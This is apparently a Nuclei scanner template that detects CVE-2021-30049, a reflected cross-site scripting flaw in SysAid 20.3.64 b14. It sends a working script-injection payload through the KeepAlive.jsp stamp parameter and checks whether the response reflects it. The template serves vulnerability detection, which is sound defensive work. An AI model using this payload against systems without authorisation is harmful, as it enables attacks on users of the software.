id: CVE-2021-30049

info:
  name: SysAid Technologies 20.3.64 b14 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability.
  reference:
    - https://eh337.net/2021/03/30/sysaid/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30049
    cwe-id: CWE-79
    epss-score: 0.00102
    epss-percentile: 0.41323
    cpe: cpe:2.3:a:sysaid:sysaid:20.3.64:b14:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
  tags: cve,cve2021,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022043ff2dfaa894a27e8f3b0be174504d5150172d0dc4318e475e11d0b1cca5b10e022100bea9a8da25cd5b4a3cfe59f5e491bdbf7fd17bc0064fe3cb2ac5749cb68c303a:922c64590222798bb761d5b6d8e72950